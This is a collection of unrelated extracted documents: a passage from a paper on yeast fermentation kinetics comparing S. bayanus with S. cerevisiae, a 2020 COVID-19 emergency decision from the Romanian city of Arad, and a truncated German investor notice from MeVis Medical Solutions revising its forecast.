completely different situation was obtained. Similarly to what was already found for S. cerevisiae (Zinnai et al., 2013), the D-glucose catabolism rate was always higher than that observed for D-fructose, and the concentration reached an asymptotic minimum value with about 30% of the initial value remaining unconverted in the reaction medium. When a considerable amount of ethanol (135 g/L) accumulated in the reaction medium, the fermentation rate of D-glucose also decreased strongly to reach an asymptotic minimum value of less than 20% of the initial value. According to the stoichiometry of alcoholic fermentation, the sum of the analytical data related to the concentrations of unconverted sugars, accumulated glycerol and half of the ethanol formed did not vary significantly with time, assuming values very close to the initial concentration of sugar used. As a consequence, a possible significant accumulation of a different intermediate reaction can be ruled out. The same evolution can be highlighted when an initial concentration of 300 g/L (1 667 mmol/L) of the two sugars was tested (Fig. 1B). If the catabolism rate of D-fructose was significantly higher than D-glucose during the initial phase, when the fermentation time increased (t > 350 hours) and the ethanol concentration increased, D-fructose catabolism became slower than that of D-glucose. The same mathematical model developed to investigate S. cerevisiae (Zinnai et al., 2013) was used to characterise the kinetic behaviour of S. bayanus, and to identify which of the six functional parameters involved in the model changed with the yeast population used. The analytical points describing the decrease in concentrations of the two monosaccharides (D-glucose and D-fructose) as a function of fermentation time when initial concentrations of 200 g/L (1 111 mmol/L) were used are reported in Fig. 1A. Contrary to what was observed for S. cerevisiae (Zinnai et al., 2013), the catabolism rate of D-fructose was higher than that of D-glucose, and the complete transformation of this sugar was reached long before that of D-glucose. When 67 g/L (1 455 mmol/L) of ethanol were initially To describe the time evolution of the density of the yeast active fraction ([Y] t=t = CFU/mL), as well as the decrease of hexose concentration and the accumulation of both ethanol and glycerol, the numerical integration of the following system of three kinetic equations (eq. 2, 3 and 4) was carried out: where [Y*] t=t represents the density of the yeast cells still active in the alcoholic medium, α' E is the fraction of hexose converted to ethanol (selectivity to ethanol), and ([H] t=0 – [H] t=t ) is the amount of sugar converted at the reaction time t = t. According to the stoichiometry of this fermentation, two moles of alcohol are produced from every unit of hexose converted, and the amount of ethanol produced can be calculated easily: To describe the decrease in hexose concentration and the accumulation of both ethanol and glycerol with time, the numerical integration of the mathematical relations introduced was carried out, and the following sequence of equations involved in the iterative calculation was identified: t1 = t2 where [Y] t=t is the density of the yeast viable cells able to promote hexose fermentation that are present in a litre of fermentation medium at a random time t = t (CFU/L), [Y] t=0 is the density of the yeast viable cells initially (t = 0) present in a litre of fermentation medium (CFU/L), k Y is the kinetic constant related to yeast inactivation (per h), t is the reaction time, α' E is the hexose fraction converted to ethanol, [H] t=0 is the sugar concentration initially (t = 0) present in the reaction medium (mmol/L), [H] t=t is the sugar concentration present The identification of the best values to assign to the eight functional parameters involved in the proposed kinetic model was carried out using the experimental data describing the time course of the yeast population ([Y] t=t ), hexose consumption ([H] t=t ) as well as ethanol ([E] t=t ) and glycerol ([Gly] t=t ) accumulation (Figs 3 and 4). The values of the eight functional parameters calculated by BURENL are reported in Table 1 as a function of the hexose utilised and of its initial concentration. Although the kinetic constant related to the time evolution of the yeast population (k Y ) was not affected by a relevant variability, the squares of the correlation coefficients of the microbial evolution (r 2 Y ) showed a remarkable variation, ranging from 0.01 to 0.97 (Table 1). As described above, A FIGURE 3 Experimental points (squares, sugar; triangles, ethanol; circles, glycerol) and theoretic values calculated by the kinetic model as a function of fermentation time. (A) [D-glucose] t=0 = [D-fructose] t=0 = 1 111 mmol/L; (B) [D-glucose] t=0 = [D-fructose] t=0 = 1 389 mmol/L; (C) [D-glucose] t=0 = [D-fructose] t=0 = 1 667 mmol/L. in the reaction medium at a random time t = t (mmol/L), K Y∙E is the constant related to the equilibrium occurring between ethanol and the alcoholic yeasts (L∙mmol -1 ), k H is the kinetic constant related to hexose conversion (h -1 L CFU -1 ), K H∙E is the constant related to the equilibrium occurring between ethanol and the enzymatic protein involved in the limiting step of sugar fermentation (L/mmol), and α' ' Gly is the hexose fraction converted to glycerol. Thus, knowing the initial conditions (t1 = 0; [Y] t=t1 = [Y] t=0 ; [H] t=t1 = [H] t=0 ), it is possible to determine the evolution with fermentation time of all the involved components ([Y] t=t , [H] t=t , [E] t=t and [G] t=t ). C FIGURE 3 (CONTINUED) Experimental points (squares, sugar; triangles, ethanol; circles, glycerol) and theoretic values calculated by the kinetic model as a function of fermentation time. (A) [D-glucose] t=0 = [D-fructose] t=0 = 1 111 mmol/L; (B) [D-glucose] t=0 = [D-fructose] t=0 = 1 389 mmol/L; (C) [D-glucose] t=0 = [D-fructose] t=0 = 1 667 mmol/L. FIGURE 4 Experimental points (squares, sugar; triangles, ethanol; circles, glycerol) and theoretic values calculated by the kinetic model when ethanol was initially added to the reaction medium. (A) [D-glucose] t=0 = 1 111 mmol/L plus 1 455 mmol/L of ethanol; (B) [D-fructose] t=0 = 1 111 mmol/L plus 1 452 mmol/L of ethanol. TABLE 1 Values assigned to the functional parameters involved in the kinetic model used to describe alcoholic fermentation following the addition of D-glucose and D-fructose to the reaction medium at three different concentrations in the absence of ethanol. TABLE 1 (CONTINUED) Data are expressed as mean ± confidence intervals (p = 0.05). Y, yeast active fraction [CFU/L]; G, D-glucose [mmol/L]; F, D-fructose [mmol/L]; E, ethanol [mmol/L]; Gly, glycerol [mmol/L]; a' E , hexose fraction converted to ethanol; a" Gly , hexose fraction converted to glycerol; k Y , kinetic constant related to yeast inactivation [per hour]; K Y∙E , constant related to the equilibrium occurring between ethanol and yeast [L/mmol]; k G , kinetic constant related to D-glucose conversion [h/L/CFU]; K G∙E , constant related to the equilibrium occurring between ethanol and the enzymatic protein involved in the limiting step of D-glucose fermentation [L/mmol]; k F , kinetic constant related to D-fructose conversion [h/L/CFU]; K F∙E , constant related to the equilibrium occurring between ethanol and the enzymatic protein involved in the limiting step of D-fructose fermentation [L/ mmol]; r, correlation coefficient related to the time evolution of the D-glucose, D-fructose, ethanol and glycerol concentrations. the number of yeast cells did not change significantly during the experimental runs, and this is the main reason for the low values sometimes assumed by the squares of correlation coefficients (r 2 Y ). On the other hand, the high values assumed by the squares of correlation coefficients (r 2 G , r 2 F , r 2 E and r 2 Gly ) related to the time evolution of D-glucose, D-fructose, ethanol and glycerol concentrations (Table 1), confirm the suitability of the kinetic equations and of the model used to describe the kinetic behaviour of S. bayanus. TABLE 2 Values assigned to the functional parameters (f.p.) involved in the kinetic model used to describe alcoholic fermentation following the addition of D-glucose and D-fructose to the reaction medium in the presence of ethanol. The kinetic constants representing the time evolution of the yeast population (k Y ) did not change significantly as a function of the monosaccharide used (Table 1), and showed a similar sensitivity to ethanol (compare the values of the K Y ∙ E constant). A very slight decrease in the yeast population was observed in all runs. Also, the kinetic constants related to the fermentation rates of the two sugars (k G and k F ) did not vary significantly and assumed very similar values. As predicted, the production of ethanol (α' E ) and glycerol (α' ' Gly ) did not change with the fermentation substrate. Only the sensitivity to ethanol showed by the enzymatic protein involved in the limiting steps of the two sugars changed significantly, with the enzymatic transformation of D-fructose being more sensitive to ethanol than D-glucose. Thus, the mathematical model was able to justify the different time evolutions shown by the two sugars, as demonstrated by the high degree of overlap between the experimental and calculated values (Fig. 3), and by the high values (Table 1) of the squares of correlation coefficients (r 2 G , r 2 F , r 2 E and r 2 Gly ) connected to the reagents and products. To verify how the presence of ethanol in the reaction medium can justify the dissimilar experimental behaviours shown by the two monosaccharides, ethanol was initially added to the aqueous solution of the two sugars (60.6 and 61.1 mL/L, 1040 and 1050 mmol/L for D-glucose and D-fructose respectively). Table 2 reports the values Data are expressed as mean ± confidence intervals (p = 0.05). For abbreviations, see Table 1. TABLE 3 Values of the functional parameters involved in the kinetic model used to describe alcoholic fermentation calculated by elaboration of experimental runs. The data found for S. bayanus are compared with those already reported for S. cerevisiae (Zinnai et al., 2013). Data are expressed as mean ± confidence intervals (p = 0.05). K F∙E /K G∙E , the ratio occurring between the two equilibrium constants related to the interaction of enzymatic proteins involved in the limiting steps of the fermentation of the two hexoses and ethanol. For other abbreviations, see Table 1. FIGURE 5 Experimental points (squares, D-glucose; triangles, ethanol; circles, D-fructose) and theoretic values calculated by the kinetic model when ethanol was initially added to the reaction medium. (A) [D-glucose] t=0 = 740 mmol/L plus [D-fructose] t=0 = 820 mmol/L; (B) [D-glucose] t=0 = 523 mmol/L plus [D-fructose] t=0 = 474 mmol/L plus 1 320 mmol/L of ethanol. calculated for the model parameters when yeasts were added to an aqueous solution containing ethanol. and D-glucose immediately after its addition, when the replication rate of the yeast cells can be disregarded. Moreover, the high values of the squares of correlation coefficients confirm the suitability of the mathematical model to describe the time evolution of the species involved in the fermentation process, also when ethanol was initially added to the reaction medium. The parameters related to yeast evolution (k Y and K Y ∙ E ) and those connected to the conversion of the two sugars (k G , K G ∙ E , k F and K F ∙ E ) did not vary significantly from the ones shown in Table 1. Ethanol addition was able to modify the kinetics of D-fructose The evolution with fermentation time of the reagents and products are shown in Fig. 4, and the good degree of overlap between the calculated and experimental values gives a measure of the capacity shown by the model to describe the time evolution of reagents and products, also when the alcoholic fermentation was promoted by S. bayanus dissolved in the ethanol-water solution. Similarly to what was already reported for S. cerevisiae (Zinnai et al., 2013), for S. bayanus the two kinetic constants k G and k F also did not differ significantly as a function of the sugar utilised (Tables 1 and 2). When reduced values of ethanol concentrations were present in the reaction medium, the limiting step of both monosaccharides was essentially the same, being connected to one of the sugar fermentation reactions. Only when the concentration of Table 3 reports the mean values of the parameters involved in the kinetic model calculated by the elaboration of the experimental runs described previously. While the values represent the average of eight data for the first four parameters (α' E , α' ' Gly , k Y , K Y∙E ), the last two (K G∙E , K F∙E ), which are strongly related to the monosaccharide initially added to the reaction medium, are the average of only four values. ethanol in the reaction increased significantly did its effect on the transformation rates of these two sugars became more relevant. The hypothesised mathematical model accounts for this particular kinetic behaviour. In fact, the kinetic constants related to D-glucose (k' G ) and D-fructose (k' F ) conversions are equal to the ratio between a constant k H connected to the limiting step common to the two sugars, and the sum of 1 and the concentration of ethanol multiplied by a constant, the value of which varies as a function of the monosaccharide: At low ethanol concentrations (1 + [EtOH] t=t ∙ K G∙E ~ 1), the rate-limiting steps of the two sugars coincide, and the following situation occurs: Thus, according to what was found experimentally, k' G = k' F = k H . In contrast, when ethanol concentration increases, the ratelimiting steps related to the transformations of the two sugars differs to assume dissimilar values: Moreover, as the K F ∙ E constant is greater than the one related to D-glucose (K F∙E /K G∙E = 8.24∙10 -8 /1.46∙10 -8 ~ 5.6), the ratio between the two kinetic constants will decrease when the concentration of ethanol increases, and thus with fermentation time. The mean values of the model parameters (Table 3) were used to calculate the theoretical evolution of the components involved in an experimental run, during which active cells of the commercial strain of S. bayanus were added to i) an aqueous solution containing equivalent amounts of the two sugars (density of active cells ~ 1.5∙10 11 CFU/L, D-glucose ~ 133 g/L and D-fructose ~ 148 g/L), and ii) an ethanolwater solution (~ 8.1% ethanol v/v) of the two sugars (density of active cells ~ 5.3∙10 10 CFU/L, D-glucose ~ 94 g/L and D-fructose ~ 86 g/L). The evolution with time of the experimental and calculated points are shown in Figs 5A and 5B respectively. The high degree of overlap and the high values of the squares of the correlation coefficients of the three species involved (r 2 G = 0.97, r 2 F = 0.97 and r 2 E = 0.98 for the first run; r 2 G = 0.98, r 2 F = 0.99 and r 2 E = 0.99 for the second) give a measure of the suitability of the kinetic model, which could be effectively used to describe the time evolution of reagents and products involved in the alcoholic fermentation promoted not only by S. cerevisiae, but also by S. bayanus. According to Figs 1A and 1B, the time evolution of the concentrations of the two sugars did not vary substantially in the presence of reduced ethanol concentrations (Fig. 5A). In fact, the difference occurring between D-fructose and D-glucose assumed a constant value during the fermentation time, showing nearly parallel trends. But the time conversions of the two sugars were slightly different when a relevant amount of ethanol was initially added to the reaction medium (Fig. 5B), confirming what has already been mentioned (Fig. 2). Although no remarkable differences could be found between the ability shown by the two yeast populations to convert hexoses (k H,S. cerevisiae /k H,S. bayanus ~ 0.9, Table 3), the tolerance towards ethanol accumulation in the reaction medium varied strongly, with S. bayanus much less affected by ethanol than S. cerevisiae (K G ∙ E, S. cerevisiae /K G ∙ E, S. bayanus ~ K F ∙ E, S. cerevisiae /K F ∙ E, S. bayanus ~ 10 4 , Table 3). The sensitivity to ethanol shown by S. cerevisiae was ten thousand times higher than that found for S. bayanus. This largely justifies the addition during winemaking of S. bayanus, a microbial population that is able to solve slow or stuck fermentations, and to promote a significant conversion of D-fructose accumulated in the reaction medium when the fermentation conditions become incompatible with S. cerevisiae. To allow a direct comparison between the two yeast populations, the mean values of the model parameter previously found for S. cerevisiae (Zinnai et al., 2013) are reported in Table 3, together with the ratios occurring between the values assumed by the same model parameter but calculated for the two yeast populations tested (S. cerevisiae/S. bayanus). Although some model parameters (α' E and α' ' Gly , namely hexose fractions converted to ethanol and glycerol respectively) did not change as a function of the yeast population (Table 3), the kinetic constant k Y related to their inactivation assumed for S. cerevisiae a value higher than that found for S. bayanus (k Y, S. cerevisiae /k Y,S. bayanus ~ 54), with the inactivation rate of S. bayanus being about ten times less affected by ethanol accumulation than that of S. cerevisiae (Table 3). At low ethanol concentrations, the rates of the two sugar conversions did not differ significantly, but the catabolism rate of D-glucose became faster than that of D-fructose when alcoholic concentration increased, because the conversion of D-fructose is affected more by ethanol than that of D-glucose. This phenomenon is confirmed by the ratio occurring between the two constants related to the equilibrium between ethanol and the enzymatic protein involved in the limiting step of the conversions of the two sugars (K F ∙ E, S. bayanus /K G ∙ E, S. bayanus ~ 5.6, Table 3), a value not so different from that previously found for S. cerevisiae (K F ∙ E, S. cerevisiae /K G ∙ E, S. cerevisiae ~ 7.1, Table 3). The comparison between the values assumed by the kinetic parameters confirms what is reported in the literature (Naumov et al., 2000; Belloch et al., 2008), namely that S. bayanus is significantly less sensitive to ethanol than S. cerevisiae (about ten thousand-fold less), so that the addition of S. bayanus represents a viable procedure to solve slow and stuck fermentations, and to complete the fermentative processes unfinished by S. cerevisiae. LITERATURE CITED Aguilera, F., Peinado, R.A., Millan, C., Ortega, J.M. & Mauricio, J.C., 2006. Relationship between ethanol tolerance, H+-ATPase activity and the lipid composition of the plasma membrane in different wine yeast strains. Int. J. Food Microbiol. 110, 34-42. Alexandre, H., Ansanay-Galeote, V., Dequin, S. & Blondin, B., 2001. Global gene expression during short-term ethanol stress in Saccharomyces cerevisiae. FEBS Lett. 498, 98-103. Andrich, G., Casella, S., Fiorentini, R. & Spettoli, P., 1988. A tentative model to evaluate the kinetics of malolactic fermentation. Ann. NY Acad. Sci. 542, 356-359. Bauer, F.F. & Pretorius, I.S., 2000. Yeast stress response and fermentation efficiency: How to survive the making of wine – A review. S. Afr. J. Enol. Vitic. 21, 27-51. Belloch, C., Orlic, S., Barrio, E. & Querol, A., 2008. Fermentative stress adaptation of hybrids within the Saccharomyces sensu stricto complex, Int. J. Food Microbiol. 122, 188-195. Berthels, N.J., Cordero Otero, R.R., Bauer, F., Pretorius, I.S. & Thevelein, J.M., 2008. Correlation between glucose/fructose discrepancy and hexokinase kinetic properties in different Saccharomyces cerevisiae wine yeast strains. Appl. Microbiol. Biotech. 77, 1083-1091. Brown, S.W. & Oliver, S.G., 1982. The effect of temperature on the ethanol tolerance of the yeast Saccharomyces uvarum. Biotechnol. Lett. 4, 269-274. Buzzi Ferraris, G. & Manca, D., 1996. BURENL. Politecnico, Dipartimento di Ingegneria Chimica 'G. Natta', Milan. Carmelo, V., Santos, H. & Sa-Correia, I., 1997. Effect of extracellular acidification on the activity of plasma membrane ATPase and on the cytosolic and vacuolar pH of Saccharomyces cerevisiae. Biochim. Biophys. Acta. 1325, 63-70. Costa, V., Reis, E., Quintanilha, A. & Moradas-Ferreira, P., 1993. Acquisition of ethanol tolerance in Saccharomyces cerevisiae: The key role of the mitochondrial superoxide dismutase. Arch. Biochem. Biophys. 300, 608-614. Deutschbauer, A.M., Jaramillo, D.F., Proctor, M., Kumm, J., Hillenmeyer, M.E., Davis, R.W., Nislow, C. & Giaever, G., 2005. Mechanisms of haploinsufficiency revealed by genome-wide profiling in yeast. Genetics 169, 1915-1925. Diderich, J.A., Teusink, B., Valkier, J., Anjos, J., Spencer-Martins, I., Van Dam, K. & Walsh, M.C., 1999. Strategies to determine the extent of control exerted by glucose transport on glycolytic flux in the yeast Saccharomyces bayanus. Microbiology 145, 3447-3454. Dumont, A., Rayanal, C., Raginel, F. & Ortiz-Julien, A., 2008. La capacite de consommation du fructose par les levures oenologique. La Revue des Oenologues 129, 15-18. Emparan, M., Simpson, R., Almonacid, S., Teixeira, A. & Urtubia, A., 2012. Early recognition of problematic wine fermentations through multivariate data analyses. Food Control 27, 248-253. Fernandes, A.R., Durao, P.J., Santos, P.M. & Sa-Correia, I., 2003. Activation and significance of vacuolar H + -ATPase in Saccharomyces cerevisiae adaptation and resistance to the herbicide 2,4-dichlorophenoxyacetic acid. Biochem. Biophys. Res. Commun. 312, 1317-1324. Fujita, K., Matsuyama, A., Kobayashi, Y. & Iwahashi, H., 2006. The genome-wide screening of yeast deletion mutants to identify the genes required for tolerance to ethanol and other alcohols. FEMS Yeast Res. 6, 744-750. Gibson, B.R., Lawrence, S.J., Leclaire, J.P., Powell, C.D. & Smart, K.A., 2007. Yeast responses to stresses associated with industrial brewery handling. FEMS Microbiol. Rev. 31, 535-569. Guillaume, C., Delobel, P., Sablayrolles, J.M. & Blondin, B., 2007. Molecular basis of fructose utilization by the wine yeast Saccharomyces cerevisiae: A mutated HXT3 allele enhances fructose fermentation. Appl. Environ. Microbiol. 73, 2432-2439. Hirasawa, T., Yoshikawa, K., Nakakura, Y., Nagahisa, K., Furusawa, C., Katakura, Y., Shimizu, H. & Shioya, S., 2007. Identification of target genes conferring ethanol stress tolerance to Saccharomyces cerevisiae based on DNA microarray data analysis. J. Biotechnol. 131, 34-44. Hohmann, S., 2002. Osmotic stress signaling and osmoadaptation in yeasts. Microbiol. Mol. Biol. Rev. 66, 300-372. Ĭnal, M. & Yiğitoğlu, M., 2012. Improvement of bioethanol productivity of immobilized Saccharomyces bayanus with using sodium alginate-graft-poly (N-vinyl-2-pyrrolidone) matrix. Appl. Biochem. Biotechnol. 168, 266-278. Jones, G.V., White, M.A., Cooper, O.R. & Storchmann, K., 2005. Climate change and global wine quality. Climatic Change 73, 319-343. Klis, F.M., Mol, P., Hellingwerf, K. & Brul, S., 2002. Dynamics of cell wall structure in Saccharomyces cerevisiae. FEMS Microbiol. Rev. 26, 239-256. Kubota, S., Takeo, I., Kume, K., Kanai, M., Shitamukai, A., Mizunuma, M., Miyakawa, T., Shimoi, H., Iefuji, H. & Hirata, D., 2004. Effect of ethanol on cell growth of budding yeast: Genes that are important for cell growth in the presence of ethanol. Biosci. Biotechnol. Biochem. 68, 968-972. Loureiro, V. & Malfeito-Ferreira, M., 2003. Spoilage yeasts in the wine industry. Int. J. Food Microbiol. 86, 23-50. Mira, N.P., Lourenco, A.B., Fernandes, A.R., Becker, J.D. & Sa-Correia, I., 2009. The RIM101 pathway has a role in Saccharomyces cerevisiae adaptive response and resistance to propionic acid and other weak acids. FEMS Yeast Res. 9, 202-216. Naumov, G.I., Masneuf, I., Naumova, E.S., Aigle, M. & Dubourdieu, D., 2000. Association of Saccharomyces bayanus var. uvarum with some French wines: Genetic analysis of yeast populations. Res. Microbiol. 151, 683-691. Nozawa, A., Takano, J., Kobayashi, M., Von Wiren, N. & Fujiwara, T., 2006. Roles of BOR1, DUR3, and FPS1 in boron transport and tolerance in Saccharomyces cerevisiae. FEMS Microbiol. Lett. 262, 216-222. Pulvirenti, A., Nguyen, H., Caggia, C., Giudici, P., Rainieri, S. & Zambonelli, C., 2000. Saccharomyces uvarum, a proper species within Saccharomyces sensu stricto. FEMS Microbiol. Lett. 192, 191-196. Querol, A. & Bond, U., 2009. The complex and dynamic genomes of industrial yeasts. FEMS Microbiol. Lett. 293, 1-10. Ribereau-Gayon, P., Dubourdier, D., Doneche, B. & Lonvaud, A., 2005. Handbook of oenology, vol 1. The microbiology of wine and vinifications. John Wiley and Sons, West Sussex. Rosa, M.F. & Sa-Correia, I., 1996. Intracellular acidification does not account for inhibition of Saccharomyces cerevisiae growth in the presence of ethanol. FEMS Microbiol. Lett. 135, 271- 274. Sablayrolles, J.M., 2009. Control of alcoholic fermentation in winemaking: Current situation and prospect. Food Res. Int. 42, 418-424. Sablayrolles, J.M., Dubois, C., Manginot, C., Roustan, J.L. & Barre, P., 1996. Effectiveness of combined ammoniacal nitrogen and oxygen additions for completion of sluggish and stuck wine fermentations. J. Ferment. Bioeng. 82, 377-381. Salmon, J.M., 1989. Effect of sugar transport inactivation in Saccharomyces cerevisiae on sluggish and stuck oenological fermentations. Appl. Environ. Microbiol. 55, 953-958. Schubert, C., 2006. Can biofuels finally take center stage? Nat. Biotechnol. 24, 777-784. Schutz, M. & Gafner, J., 1995. Lower fructose uptake capacity of genetically characterized strains of Saccharomyces bayanus compared to strains of Saccharomyces cerevisiae: A likely cause of reduced alcoholic fermentation activity. Am. J. Enol. Vitic. 46, 175-180. Serra, A., Strehaiano, P. & Taillandier, P., 2005. Influence of temperature and pH on Saccharomyces bayanus var. uvarum growth; impact of a wine yeast interspecific hybridization on these parameters. Int. J. Food Microbiol. 104, 257-265. Tronchoni, J., Gamero, A., Arroyo-Lopez, F.N., Barrio, E. & Querol, A., 2009. Differences in the glucose and fructose consumption profiles in diverse Saccharomyces wine species and their hybrids during grape juice fermentation. Int. J. Food Microbiol. 134, 237-243. Urtubia, A., Hernandez, G. & Roger, J.M., 2012. Detection of abnormal fermentations in wine process by multivariate statistics and pattern recognition techniques. J. Biotechnol. 159, 336-341. Van Uden, N., 1985. Ethanol toxicity and ethanol tolerance in yeasts. Ann. Rep. Ferment. Process. 8, 11-58. Viegas, C.A., Rosa, M.F., Sa-Correia, I. & Novais, J.M., 1989. Inhibition of yeast growth by octanoic and decanoic acids produced during ethanolic fermentation. Appl. Environ. Microbiol. 55, 21-28. Zinnai, A., Venturi, F., Quartacci, M.F. & Andrich, G., 2011. A mathematical model to describe malolactic fermentation. Ital. J. Food Sci. 23, 80-89. Zinnai, A., Venturi, F., Sanmartin, C., Quartacci, M.F. & Andrich, G., 2013. Kinetics of D-glucose and D-fructose conversion during the alcoholic fermentation promoted by Saccharomyces cerevisiae. J. Biosci. Bioeng. 115, 43-49.
<urn:uuid:8a9fe2d0-62fe-4b4f-a57d-1d784049c147>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
41,640
ROMÂNIA JUDEŢUL ARAD MUNICIPIUL ARAD COMITETUL LOCAL PENTRU SITUAȚII DE URGENȚĂ HOTĂRÂREA NR. 1 din 11.03.2020 Comitetul Local pentru Situații de Urgență al Municipiului Arad, întrunit în ședință extraordinară în data de 11 martie 2020, ora 17, Având în vedere: ‐ Notificarea Primarului Municipiului Arad; ‐ Procesul Verbal nr. 19554/ 11.03.2020  al ședinței Comitetului Local pentru Situații de Urgență al Municipiului Arad. ‐ Hotărârile nr.6/09.03.2020 și 7/11.03.2020 ale Comitetului Național pentru Situații Speciale de Urgență; ‐ Hotărârile nr.  9/28.02.2020 și 12/10.03.2020 ale Comitetului Județean pentru Situații de Urgență al Județului Arad; ‐ prevederilor art. 2, lit. d), lit. e), lit. i) și lit. j), art. 4, alin (1), lit. c) și art. 24, lit. a), lit. b) și lit. e) din Ordonanța de Urgență a Guvernului nr. 21 din 2004, cu modificările și completările ulterioare, privind Sistemul Național de Management al Situațiilor de Urgență,; Constatând și având în vedere iminenta amenințare la adresa populației prin apariția și răspândirea infecției cu noul Coronavirus. În  scopul  creșterii  capacității  de  intervenție  în  prevenirea  și  combaterea  infecțiilor,  membrii Comitetului  Local  pentru  Situații  de  Urgență,  întruniți  în  cvorum  legal,  au  luat  cunoștință  despre problemele prezentate mai sus și adoptă, prin vot unanim, următoarea H O T Ă R Â R E 1. Se califică natura situației prezentate ca fiind o stare potențial generatoare de situații de urgență și se constată existența unei amenințări iminente. 2. Se constituie Grupul de Lucru Operativ pentru gestionarea stării potențial generatoare de situații de urgență determinată de Coronavirusul  SARS‐ CoV‐2, în următoarea componență: Președinte:‐ ‐Ionel Bulbuc– Viceprimarul Municipiului Arad Membri: ‐Penzes Iuliu Gheorghe– Direcția de Sănătate Publică ‐ Secretarul General al Municipiului Arad ‐Claudia Macra‐ Administrator Public al Municipiului Arad ‐Oana Pârvulescu– Direcția de Asistență Socială Arad ‐Sorina Ila– S.P.C.L.E.P. Arad ‐Toma Adrian– Direcția Generală Poliția Locală ‐Liliana Florea‐ Direcția Edilitară ‐Elena Portaru‐ Direcția Tehnică ‐Rodica Lucian– Inspectoratul Școlar Județean Arad ‐Claudiu Godja‐  Compania de Transport Public SA Arad ‐Stelian Nistor– Târguri Oboare Piețe Arad SA Sarcina Grupului de Lucru Operativ este de a propune și a coordona măsurile care se impun în funcție de evoluția fenomenului. 3. Se  aprobă  suspendarea  activității  Complexului  Curcubeu  în  perioada  11‐22.03.2020,  cu posibilitatea de prelungire, funcție de evoluția situației la nivel național. 4. Se  validează  măsura  restrângerii  activității  Centrului  Social  cantina  Municipală  Arad,  în perioada 11‐22.03.2020, cu posibilitatea de prelungire, funcție de evoluția situației la nivel național. În această perioadă, beneficiarii vor primi pachete alimentare cu hrană rece. 5. Direcția de Asistență Socială Arad va monitoriza suplimentar toate persoanele vulnerabile din evidență, le va identifica cu prioritate pe cele cu vârsta peste 65 de ani și le va oferi la nevoie servicii de aprovizionare cu alimente, produse de igiena etc. 6. Se suspendă activitățile la Bazinul de Înot  și Polo și la Sala de Sport Voinicilor în perioada 11‐ 22.03.2020, cu posibilitatea de prelungire, funcție de evoluția situației la nivel național. 7. Începând  cu  data  prezentei,  instituțiile  publice  și    operatorii  economici  privați,  care  au  în desfășurare  activități  pe  raza  municipiului  Arad  și  au  relații  cu  publicul,  vor  intensifica  măsurile  de dezinfectare a tuturor spațiilor și obiectivelor în care se desfășoară activități  cu publicul. 8. Se  instituie  obligația  ca  toate  instituțiile  publice  și  agenții  economici  cu  activitate  pe  raza municipiului Arad să asigure, la toalete, materiale destinate igienei personale (săpun, prosoape de hârtie, uscătoare de mâini) și dezinfecția frecventă a clanțelor ușilor, precum și a altor suprafețe expuse (mese conferință, birouri etc.). 9. Asociațiile de proprietari vor asigura igienizarea și dezinfecția spațiilor comune din condominii. 10. Operatorii  de  transport  în  comun,  precum  și  cei  care  desfășoară  activitate  de  transport persoane în regim de taxi sau rent a car, vor aduce la îndeplinire următoarele măsuri, după caz: a) Respectarea capacității maxime (câte  locuri pe scaune, atâtea persoane); b) Curățarea, spălarea și dezinfecția zilnică a interiorului mijloacelor de transport persoane; c) Afișarea la loc vizibil în autogară, puncte de îmbarcare, mijloace de transport, a regulilor de igienă pentru combaterea  răspândirii  coronavirusului SARS‐ CoV‐2; d) Igienizarea grupurilor sanitare din autogări, prin curățare, spălare și dezinfecție, precum și dotarea  acestora  cu  materiale  pentru  igiena  individuală  (săpun  lichid  antibacterian,  hârtie  igienică, șervețele de unică utilizare, dezinfectant pentru mâini). 11. Se aprobă alocarea sumelor necesare, din fondul de rezervă al bugetului local, pentru achiziția de materiale de  protecție (mănuși, măști, soluție dezinfectantă), în regim de urgență, pentru personalul Direcției de Asistență Socială Arad, al Primăriei Municipiului Arad, inclusiv cel al Direcției Generale Poliția Locală. 12. Se  restricționează  manifestările  și  activitățile  culturale,  științifice,  artistice,  religioase, sportive și divertisment în spații închise, cu participarea a peste 100 de persoane,  pe raza municipiului Arad, până în data de 31.03.2020, cu posibilitatea de prelungire, în funcție de evoluția situației la nivel național. 13. Prin grija personalului Direcției Generale  Poliția Locală vor fi distribuite pliante cu măsurile de igienă / securitate tuturor instituțiilor publice, agenților economici, asociațiilor de proprietari, care vor avea obligația să le afișeze la loc vizibil. 14. Se recomandă tuturor entităților private și instituțiilor publice, cu mai mult de 99 angajați, să decaleze programul de lucru, care ar putea începe în trei intervale de lucru diferite, în perioada 12‐ 31.03.2020, cu posibilitatea de prelungire, în funcție de evoluția situației la nivel național. 15. Se aprobă Planul de Continuitate a funcțiilor esențiale la nivelul Primăriei Municipiului Arad, înregistrat cu nr. 18839/10.03.2020. 16. Prezenta  Hotărâre  se  aduce  la  cunoștința  Centrului  Operațional  al  Comitetului  Județean pentru Situații de Urgență a Județului Arad precum și celor interesați. PREȘEDINTELE COMITETULUI LOCAL PENTRU SITUAȚII DE URGENȚĂ ARAD P R I M A R Călin BIBARȚ ȘEF CENTRU OPERATIV AL COMITETULUI LOCAL PENTRU SITUAȚII DE URGENȚĂ ARAD Ioan HAJDU
<urn:uuid:0ea47068-9951-4d3b-91be-9fedb75bbd92>
HuggingFaceFW/finepdfs/tree/main/data/ron_Latn/train
finepdfs
ron_Latn
6,640
AD-HOC MITTEILUNG MeVis Medical Solutions AG: Erhöhung der Prognose für das laufende Geschäftsjahr Bremen, 2. August 2016 – Die MeVis Medical Solutions AG [ISIN: DE000A0LBFE4], ein führendes Softwareunternehmen der bildbasierten Medizin, erhöht aufgrund der positiven Geschäftsentwicklung des Segments Digitale Mammographie die Prognose für das laufende Geschäftsjahr: * Für das Rumpfgeschäftsjahr 2016 (1. Januar bis 30. September) wird jetzt mit einem Umsatz von € 11,5 Mio. bis € 12,0 Mio. gerechnet, was einer stabilen Umsatzentwicklung entspricht (vorherige Prognose für das Kalenderjahr 2016: Rückgang auf € 14,5 Mio. bis € 15,0 Mio.). * Für das EBIT (Ergebnis vor Zinsen und Steuern) wird jetzt ein Anstieg für das Rumpfgeschäftsjahr 2016 (1. Januar bis 30. September) auf € 3,5 Mio. bis € 4,0 Mio. erwartet (vorherige Prognose für das Kalenderjahr 2016: Rückgang auf € 2,5 Mio. bis € 3,0 Mio.). Die Hauptversammlung hat am 7. Juni 2016 einer Umstellung des Geschäftsjahres der MeVis Medical Solutions AG zugestimmt. Die Geschäftsjahre der MeVis Medical Solutions AG beginnen demnach zukünftig am 1. Oktober und enden am 30. September des darauffolgenden Jahres. Bisher galt als Geschäftsjahr das 